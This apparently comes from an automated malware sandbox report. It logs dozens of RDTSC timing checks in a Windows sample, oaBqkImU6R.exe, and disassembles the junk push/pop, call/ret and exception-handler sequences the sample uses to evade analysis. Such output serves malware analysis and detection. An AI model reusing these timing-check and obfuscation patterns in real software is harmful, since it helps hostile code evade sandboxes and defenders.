Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3C46 second address: 3C3C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5A95268F26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3C61 second address: 3C3C76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A952DFC70h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C3C76 second address: 3C3C7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C408C second address: 3C4090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C4090 second address: 3C4096 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C4096 second address: 3C40AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F5A952DFC66h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C40AA second address: 3C40E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jng 00007F5A95268F16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F5A95268F1Fh 0x00000017 jmp 00007F5A95268F25h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C40E0 second address: 3C4100 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C4100 second address: 3C411B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3C411B second address: 3C414C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC74h 0x00000007 push esi 0x00000008 jmp 00007F5A952DFC78h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 38863C second address: 388671 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F5A95268F1Bh 0x00000013 pop ebx 0x00000014 jmp 00007F5A95268F26h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 388671 second address: 388694 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5A952DFC85h 0x00000008 jmp 00007F5A952DFC79h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CBDA4 second address: 3CBDB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CBDB0 second address: 3CBDBA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5A952DFC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CBDBA second address: 3CBDC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CA7FA second address: 3CA800 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CA800 second address: 3CA804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CC123 second address: 3CC128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CE5EE second address: 3CE61A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F28h 0x00000007 jc 00007F5A95268F16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F5A95268F16h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CE61A second address: 3CE61E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CE74A second address: 3CE74E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CE74E second address: 3CE768 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5A952DFC66h 0x00000008 jmp 00007F5A952DFC70h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CE768 second address: 3CE77E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F5A95268F16h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 js 00007F5A95268F16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CE77E second address: 3CE7B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007F5A952DFC92h 0x00000010 jmp 00007F5A952DFC6Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5A952DFC77h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CE8FE second address: 3CE902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CEA6D second address: 3CEA77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F5A952DFC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CEA77 second address: 3CEAA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5A95268F1Eh 0x00000010 jns 00007F5A95268F16h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CED6C second address: 3CED71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CF04B second address: 3CF07F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F5A95268F28h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F5A95268F23h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CF07F second address: 3CF084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CF084 second address: 3CF08A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CF08A second address: 3CF094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F5A952DFC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CF094 second address: 3CF098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3CF098 second address: 3CF09E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D15E5 second address: 3D15E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D15E9 second address: 3D15F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D15F6 second address: 3D1600 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F5A95268F16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D1600 second address: 3D1606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D1F04 second address: 3D1F09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D204B second address: 3D2055 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5A952DFC66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D20D7 second address: 3D20E1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5A95268F1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D3FD8 second address: 3D3FDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D3FDE second address: 3D3FE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D49BA second address: 3D49DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b js 00007F5A952DFC70h 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D70D4 second address: 3D70F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D7C19 second address: 3D7C1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D70F4 second address: 3D70FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F5A95268F16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3D7C1F second address: 3D7C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC6Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DB221 second address: 3DB226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DB226 second address: 3DB22C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DB22C second address: 3DB230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DB230 second address: 3DB253 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5A952DFC76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DB253 second address: 3DB259 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DC903 second address: 3DC907 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DBB0A second address: 3DBB0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DD8E5 second address: 3DD8E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DCB3A second address: 3DCB40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DCB40 second address: 3DCB47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DDAFA second address: 3DDAFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DE90E second address: 3DE914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3DE914 second address: 3DE918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E08BF second address: 3E08DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b js 00007F5A952DFC68h 0x00000011 push esi 0x00000012 pop esi 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E08DC second address: 3E08E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E2A2B second address: 3E2A31 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E2A31 second address: 3E2A9B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A95268F1Fh 0x00000008 jbe 00007F5A95268F16h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007F5A95268F18h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c movsx edi, di 0x0000002f push 00000000h 0x00000031 mov ebx, 67A5620Ah 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D2982h], ecx 0x0000003e add dword ptr [ebp+122D1F8Eh], eax 0x00000044 xchg eax, esi 0x00000045 jmp 00007F5A95268F1Fh 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E2A9B second address: 3E2AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E08E2 second address: 3E0995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov ebx, dword ptr [ebp+122D36FCh] 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F5A95268F18h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov edi, 40897EFBh 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov dword ptr [ebp+122D2BA8h], ecx 0x00000040 mov eax, dword ptr [ebp+122D052Dh] 0x00000046 mov ebx, dword ptr [ebp+122D389Ch] 0x0000004c jmp 00007F5A95268F29h 0x00000051 push FFFFFFFFh 0x00000053 push 00000000h 0x00000055 push ebx 0x00000056 call 00007F5A95268F18h 0x0000005b pop ebx 0x0000005c mov dword ptr [esp+04h], ebx 0x00000060 add dword ptr [esp+04h], 0000001Ah 0x00000068 inc ebx 0x00000069 push ebx 0x0000006a ret 0x0000006b pop ebx 0x0000006c ret 0x0000006d adc edi, 7472E779h 0x00000073 mov dword ptr [ebp+12484AB5h], edi 0x00000079 nop 0x0000007a jmp 00007F5A95268F21h 0x0000007f push eax 0x00000080 push ecx 0x00000081 pushad 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E2AA0 second address: 3E2AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC73h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E0995 second address: 3E099B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E5CA4 second address: 3E5CAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E7F09 second address: 3E7F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E9FAB second address: 3EA017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5A952DFC6Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F5A952DFC68h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c add dword ptr [ebp+122D3482h], ecx 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007F5A952DFC68h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e movsx edi, di 0x00000051 xchg eax, esi 0x00000052 push eax 0x00000053 push edx 0x00000054 push ebx 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop ebx 0x00000058 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3EAF4D second address: 3EAF53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3EAF53 second address: 3EAF59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3EAF59 second address: 3EAFE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007F5A95268F25h 0x00000012 pushad 0x00000013 jmp 00007F5A95268F1Bh 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b nop 0x0000001c mov ebx, dword ptr [ebp+1247FFF0h] 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ecx 0x00000027 call 00007F5A95268F18h 0x0000002c pop ecx 0x0000002d mov dword ptr [esp+04h], ecx 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ecx 0x0000003a push ecx 0x0000003b ret 0x0000003c pop ecx 0x0000003d ret 0x0000003e mov ebx, eax 0x00000040 mov edi, 7A3F5C34h 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push edx 0x0000004a call 00007F5A95268F18h 0x0000004f pop edx 0x00000050 mov dword ptr [esp+04h], edx 0x00000054 add dword ptr [esp+04h], 0000001Bh 0x0000005c inc edx 0x0000005d push edx 0x0000005e ret 0x0000005f pop edx 0x00000060 ret 0x00000061 mov ebx, dword ptr [ebp+122D36C4h] 0x00000067 push eax 0x00000068 push ebx 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E9112 second address: 3E9119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3E3CD7 second address: 3E3DA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jns 00007F5A95268F33h 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D1FDBh], edi 0x00000017 push dword ptr fs:[00000000h] 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007F5A95268F18h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Ch 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 stc 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 push 00000000h 0x00000042 push ecx 0x00000043 call 00007F5A95268F18h 0x00000048 pop ecx 0x00000049 mov dword ptr [esp+04h], ecx 0x0000004d add dword ptr [esp+04h], 00000017h 0x00000055 inc ecx 0x00000056 push ecx 0x00000057 ret 0x00000058 pop ecx 0x00000059 ret 0x0000005a pushad 0x0000005b jmp 00007F5A95268F1Bh 0x00000060 mov ch, 44h 0x00000062 popad 0x00000063 mov eax, dword ptr [ebp+122D0B35h] 0x00000069 add ebx, 1FF70197h 0x0000006f push FFFFFFFFh 0x00000071 sub di, 0E9Bh 0x00000076 nop 0x00000077 jc 00007F5A95268F22h 0x0000007d js 00007F5A95268F1Ch 0x00000083 push eax 0x00000084 pushad 0x00000085 pushad 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3F0E15 second address: 3F0E19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3850DE second address: 3850E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3F3D05 second address: 3F3D0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3F3EA3 second address: 3F3EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 3F4054 second address: 3F4058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
